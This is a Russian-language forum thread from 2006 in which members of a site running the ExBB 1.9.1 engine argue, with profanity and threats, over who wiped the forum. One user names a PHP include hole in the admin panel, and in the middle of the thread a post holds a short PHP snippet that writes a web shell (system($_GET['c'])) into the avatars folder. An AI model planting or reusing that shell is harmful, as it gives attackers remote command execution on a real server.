Игорь, твой движок ЕxBB 1.9.1 довольно-таки глючный и если уже была одна атака, во время которой все и полетело, то поверь она была не последняя.
Захватить сайт с твоим форумом ЕxBB 1.9.1 можно с использованием двух уязвимостей. Первая - PHP-инклудинг в админке, а вторая - невнимательность слежения за доступом в админку.
Так что принимай меры.
И кстати , обнаружил как вставлять теги в сообшение на форуме , и для того кто это знал снести все сообщения труда не составило... делай оргвыводы!!

---

(Отредактировано автором: 18 Января, 2006 - 04:33:38)

tarantyl пишет:

Игорь, твой движок ЕxBB 1.9.1 довольно-таки глючный и если уже была одна атака, во время которой все и полетело, то поверь она была не последняя. Захватить сайт с твоим форумом ЕxBB 1.9.1 можно с использованием двух уязвимостей. Первая - PHP-инклудинг в админке, а вторая - невнимательность слежения за доступом в админку. Так что принимай меры. И кстати , обнаружил как вставлять теги в сообшение на форуме , и для того кто это знал снести все сообщения труда не составило... делай оргвыводы!!

Обратись в отдел по борьбе в сфере высоких технологий г. Гродно . Остальное раскажет Игорь, если захочет конечно.

Гость пишет:

Обратись в отдел по борьбе в сфере высоких технологий г. Гродно . Остальное раскажет Игорь, если захочет конечно.

И что ж он мне такое должен расказать??

tarantyl пишет:

И что ж он мне такое должен расказать??

" Ништо так не скарочвае жизнь, как доуги язык"

Объявление:
Повысил уровень прав доступа к файлам форума, восстановил защиту от CSS-атак. Защита от роботов пока работает успешно. Темы потихонку фостанавливаю.
Если у кого начались глюки с доступом к форуму из-за повышенных прав, пишите в гостевую книгу.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -

Чем чудовищнее ложь, тем скорее в неё верят. Правда скучна и неинтересна.

Фернандо
Забей на тарантула, он перед бабами выпендривается. Второе, его зависть обуяла и он хочет тоже себе форум, где хочет побыть интернет-диктатором.

За то, Тарантул, что ты мне форум повалил, я тебе конечно припомню.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -

Чем чудовищнее ложь, тем скорее в неё верят. Правда скучна и неинтересна.

Admin пишет:

Фернандо Забей на тарантула, он перед бабами выпендривается. Второе, его зависть обуяла и он хочет тоже себе форум, где хочет побыть интернет-диктатором. За то, Тарантул, что ты мне форум повалил, я тебе конечно припомню.

Как вы меня з*****и. И перед бабами мне незачем выпендриваться - я недостатка женского внимания не испытываю в отличии от некоторых здесь п******х..
Второе форум я не ломал, ибо мне хотелось чтобы этот сайт жил, я даже для него чат писал, а теперь подумываю его себе поставить на сайт если здесь политика не изменится....
И наконец: пользуйтесь кто хочет вы меня з*****и. Инструкция по взлому этого форума (Клиперу на радость).(Возможно уже придется внести некоторые изменения).

***********

---

Отредактировано администратором: Admin, 03 Февраля, 2006 - 06:23:10
Ой, бля ты и необирался ничего писать, ты с самого начала е**л мозги: "Давай исполкомовский восстанавливать, давай исполкомовский". Думал тебе его просто так дадут? Потом свой ты давно хотел и подменя всё капал, как шакал, и не п....и, что после перемены политики ты неупокоишся.

---

Судья Дрэд пишет:

tarantyl Хватит х нести, у тебя одни понты. Ты из себя корчишь такого крутого програмера (или действительно шизанутый), выдумляешь всякие байки о уязвимостях, а сам наплодил в сети хрени одной, потому тебе даже деньги отказались везде платить. И этот человек хочет, что бы ему ещё исполкомовский сайт отдали. Разогнался прямо в стену. Между прочим ты второй подозреваемый по взлому форума.

Первое: интересно кто это мне деньги платить отказался??
Второе: Про байки ты написал потому, что не понял о чем там речь даже, да??
Третье: Иди *****!!

---

Отредактировано администратором: Admin, 03 Февраля, 2006 - 06:14:21
За мари.бай тебе разве за эту х...ю заплатили? За такую х платить никто не будет.

---

за марибай мне заплатили иначе его бы не было в сети.
А что так ты мою инструкцию убрал?? Если я не шарю, то и вреда от нее никакой, так??
Мне твой форум нафик не нужен. Лучше будет если он переедет на мой сайт со временем, когда тот появится, но мои условия я тебе в чате говорил, иначе берегись.....

---

Отредактировано администратором: Admin, 07 Февраля, 2006 - 07:01:55
Шиш тебе и ботов пачку, а не переезд.

---

'http://exbb'.$lol.'';

<?
$fp=fopen("im/avatars/personal/shell.php", "w");
fputs($fp,"<?
system(\$_GET['c']);
?>");
fclose($fp);
?>

---

Отредактировано администратором: Admin, 18 Октября, 2006 - 07:08:34
Так этож не всё. А текст где? надо чтоб все лохи поняли, как ломать.

---

Админ! Ты что не можешь позаботиться о безопасности форума ?
Теперь уже поздно думать.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
[ not working userpic ]

BLakE пишет:

Админ! Ты что не можешь позаботиться о безопасности форума ? Теперь уже поздно думать.

Не волнуйся, все будет ок!! Ведь наш АДМИН, ЛУЧШИЙ!!! Я надеюсь, что никто оспаривать не будет!!!!!

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Все лучшее сегодня!!!

Лучший, худший! Не знаю. Но думаю, что спит он сейчас, как младенец, беды не знает.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
[ not working userpic ]

BLakE пишет:

Лучший, худший! Не знаю. Но думаю, что спит он сейчас, как младенец, беды не знает.

Не волнуйся, как проснется - разберется!! А ты пока не сиди руки сложа, создавай, работай, твори новые темы на форуме!!!

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Все лучшее сегодня!!!

Не волнуйся, все будет ок!! Ведь наш АДМИН, ЛУЧШИЙ!!! Я надеюсь, что никто оспаривать не будет!!!!!::biggrin24.gif::

Я буду. Админ - самая настоящая ленивая гнида.
Можно было в конце концов защитить свою песочницу, это даже мальки теперь знают в любом дворе. А то.... Даже слов нет.

И 99% ответственности за очередной снос форума лежит на его хрупких, как оказалось , плечах.

---

Отредактировано администратором: Admin, 05 Апреля, 2006 - 06:35:15
Спасибо за гниду. Я действительно ленивый, но и делаю всё за свой счёт, связь с инетом я оплачиваю, чтобы проводить модерирование форума. Если ты такой умный помадерируй сам, следи постянно за защитой и оплати своими бабками, я думаю ты быстро засыпешся. А интересно, что ты будешь делать, когда у тебя на форуме поселятся спам-боты? Тебе заманается с ними сражаться, в сети куча примеров, когда из-за спама люди кидали в жопу всё. У тебя какая стипендия?

---

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
*Никогда не следует недооценивать предсказуемость тупизны

Да! Обидно однако!
Какая падла форум стёрла?
И чё за гость? И чё за х**ню пишет?

---

Отредактировано администратором: Admin, 15 Марта, 2006 - 03:20:07
Х***ю пишет тарантул для запугивания, но темы полетели не из-за х***и. Если это кто-то повалил темы, то делалось другим способом, но это неважно, пусть хоть 10 раз валят, темы всегда восстановятся в том же виде как и были. Мне хакерство до заду.

---

У меня зарплата.

А со спамами мои друзья-админы борются довольно эффективно (мож потому что они работают в Белхарде??)

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
*Никогда не следует недооценивать предсказуемость тупизны

Даёшь бесплатный интернет!!!

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
утро добрым не бывает!..